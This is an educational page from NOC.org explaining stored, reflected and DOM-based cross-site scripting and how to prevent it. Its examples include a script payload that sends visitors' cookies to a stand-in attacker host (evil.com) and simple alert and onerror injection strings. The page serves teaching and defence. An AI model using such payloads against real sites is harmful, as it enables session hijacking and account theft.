What is Cross-Site Scripting (XSS)? | NOC.org

Understanding Cross-Site Scripting

Cross-Site Scripting (XSS) is a web security vulnerability that allows an attacker to inject malicious scripts into web pages viewed by other users. When a victim's browser executes the injected script, the attacker can steal session cookies, redirect users to malicious sites, deface web pages, or perform actions on behalf of the victim. XSS consistently ranks among the most common web application vulnerabilities and appears in the OWASP Top 10.

XSS exploits the trust a user's browser places in the content received from a website. The browser cannot distinguish between legitimate scripts written by the website developer and malicious scripts injected by an attacker. If the website fails to properly sanitize user input before including it in a page, the attacker's code runs with the same privileges as the site's own JavaScript.

Types of XSS

Stored XSS (Persistent)

Stored XSS occurs when an attacker's malicious script is permanently saved on the target server, typically in a database. Every user who views the affected page receives the malicious script as part of the normal page content. Common injection points include comment forms, forum posts, user profile fields, and product reviews.

For example, if a blog allows HTML in comments and does not sanitize input, an attacker could submit a comment containing:

<script>document.location='https://evil.com/steal?c='+document.cookie</script>

Every visitor who views that blog post would unknowingly send their session cookie to the attacker's server. Stored XSS is the most dangerous type because it does not require the victim to click a specially crafted link; simply visiting the page is enough.

Reflected XSS (Non-Persistent)

Reflected XSS occurs when the malicious script is embedded in a URL or form submission and immediately reflected back in the server's response. The script is not stored on the server; instead, the attacker must trick the victim into clicking a link that contains the payload.

A common example involves search pages that display the search term in the results. If the application includes the search query directly in the HTML without encoding, an attacker can craft a URL like:

https://example.com/search?q=<script>alert('XSS')</script>

The attacker sends this link to victims via email, social media, or another website. When the victim clicks the link, the server includes the script in the search results page, and the victim's browser executes it.

DOM-Based XSS

DOM-based XSS occurs entirely in the browser without the malicious payload being sent to the server. The vulnerability exists in client-side JavaScript that processes data from an untrusted source (such as the URL fragment or document.referrer) and writes it to the DOM without sanitization.

For example, if a page's JavaScript reads the URL hash and inserts it into the page:

document.getElementById('output').innerHTML = location.hash.substring(1);

An attacker could craft a URL ending with #<img src=x onerror=alert('XSS')> to execute arbitrary JavaScript. Because the payload never reaches the server, server-side security controls cannot detect or prevent this type of XSS.

Impact of XSS Attacks

The consequences of a successful XSS attack depend on the attacker's goals and the functionality of the vulnerable application:

• Session hijacking: Stealing session cookies allows the attacker to impersonate the victim and access their account without knowing the password.
• Credential theft: Injecting fake login forms that capture usernames and passwords when users enter their credentials.
• Keylogging: Capturing keystrokes on the page to record sensitive information typed by the victim.
• Phishing: Modifying the page content to display convincing phishing messages within the context of a trusted website.
• Malware distribution: Redirecting users to sites hosting malware or drive-by downloads.
• Defacement: Altering the visual appearance of the web page to display the attacker's message.

Preventing XSS

Effective XSS prevention requires a multi-layered approach:

Output Encoding

The most important defense is encoding all user-supplied data before including it in HTML output. HTML entity encoding converts characters like <, >, &, ", and ' into their HTML entity equivalents, preventing browsers from interpreting them as markup. The encoding method must match the context: HTML encoding for HTML content, JavaScript encoding for JavaScript strings, URL encoding for URL parameters.

Input Validation

Validate all user input against expected patterns. If a field should contain only numbers, reject any input containing other characters. Use allowlists (accept only known-good characters) rather than denylists (block known-bad characters), because denylists are easily bypassed with encoding tricks.

Content Security Policy (CSP)

A Content Security Policy header tells the browser which sources of content are allowed. A strict CSP that disallows inline scripts and limits script sources to trusted domains can prevent XSS payloads from executing even if they are successfully injected. For example:

Content-Security-Policy: default-src 'self'; script-src 'self' https://trusted-cdn.com

HttpOnly and Secure Cookie Flags

Setting the HttpOnly flag on session cookies prevents JavaScript from accessing them, rendering cookie-stealing XSS attacks ineffective. The Secure flag ensures cookies are only sent over HTTPS connections.

WAF Protection

A Web Application Firewall can detect and block many XSS payloads before they reach your application. WAF rules identify common XSS patterns in request parameters, headers, and body content. While a WAF should not be your only defense, it provides an important safety net, especially for legacy applications that are difficult to patch.

Summary

Cross-Site Scripting remains one of the most prevalent and dangerous web vulnerabilities. By understanding the three types of XSS and implementing proper output encoding, input validation, Content Security Policy headers, and WAF protection, you can significantly reduce your application's exposure to these attacks. Remember that XSS prevention is primarily a coding practice; no external tool can fully compensate for failing to properly handle user input in your application code.